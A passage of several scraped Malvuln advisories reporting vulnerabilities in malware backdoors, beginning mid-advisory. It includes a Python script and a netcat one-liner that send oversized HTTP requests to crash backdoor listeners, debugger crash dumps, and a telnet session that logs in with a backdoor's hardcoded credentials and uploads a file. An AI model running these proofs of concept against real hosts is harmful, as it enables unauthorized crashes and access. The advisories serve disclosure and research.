; kb FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=6969 PORT2=6970 #vuln port def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) time.sleep(1) print("[+] Opened vulnerable port!") s.close() PAYLOAD="TRACE /"+"A"*17558+ " HTTP/1.1\r\n\r\n" s2=socket(AF_INET, SOCK_STREAM) s2.connect((MALWARE_HOST, PORT2)) print("[+] Sending malicious packets!") for i in range(0, 10): s2.send(PAYLOAD) time.sleep(0.2) s2.close() if __name__=="__main__": doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/fc100ff65f676a26293915407adc211c.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.FTP.Lana.01.d Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 6666. The credentials "user" and "pass" are weak and stored in plaintext with the executable. Type: PE32 MD5: fc100ff65f676a26293915407adc211c Vuln ID: MVID-2022-0468 Dropped files: FTP.exe Disclosure: 01/24/2022 Exploit/PoC: .text:00402C08 push offset aUser ; "user" .text:00402C0D push eax ; lpString1 .text:00402C0E call lstrcmpiA .text:00402C13 or eax, eax .text:00402C71 jz short loc_402CB0 .text:00402C73 mov eax, [ebp+lpString1] .text:00402C76 add eax, 5 .text:00402C79 push offset aPass ; "pass" telnet.exe x.x.x.x 6666 220 Anal FTP v0.1 USER user 331 Password required for user. PASS pass 230 User logged in, proceed. SYST 215 UNIX Type: L8 PASV 227 Entering Passive Mode (192,168,18,129,225,245). STOR DOOM.exe 150 Data connection accepted. 226 Transfer ok Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a8818da39c7d36d9b5497d1a875798b8.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BNLite Vulnerability: Remote Heap Based Buffer Overflow Description: The malware listens on TCP port 5000. Third party attackers who can reach the system can send a specially crafted payload to trigger a heap based buffer overflow overwriting the ECX, EDX registers and corrupting memory located on the heap. Type: PE32 MD5: a8818da39c7d36d9b5497d1a875798b8 Vuln ID: MVID-2021-0407 Dropped files: procmon.exe ASLR: False DEP: False Safe SEH: True Disclosure: 11/21/2021 Memory Dump: (1578.f54): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003 eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=00004141 ebx=02477958 ecx=41414141 edx=41414141 esi=02477960 edi=02430000 eip=776e2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 ntdll!RtlpAllocateHeap+0x37a: 776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for procmon.exe *** ERROR: Module load completed but symbols could not be loaded for procmon.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: ntdll!RtlpAllocateHeap+37a 776e2d6a 8b09 mov ecx,dword ptr [ecx] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: procmon.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: procmon+1966 00401966 a3c6304000 mov dword ptr [procmon+0x30c6 (004030c6)],eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000f54 BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6a STACK_TEXT: 0019feb0 776e16b7 00000449 00000458 02439328 ntdll!RtlpAllocateHeap+0x37a 0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7 0019ff18 74a10cd4 02430000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e 0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64 WARNING: Stack unwind information not available. Following frames may be wrong. 0019ff78 0040125b 0000037c 77408654 00326000 procmon+0x1966 0019ff94 77704a77 00326000 1cd497cc 00000000 procmon+0x125b 0019ffdc 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f 0019ffec 00000000 00401000 00326000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 4 SYMBOL_NAME: procmon+1966 FOLLOWUP_NAME: MachineOwner MODULE_NAME: procmon IMAGE_NAME: procmon.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951 FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141_c0000005_procmon.exe!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_procmon+1966 Exploit/PoC: python -c "print('GET /'+'A'*10000+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 5000 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>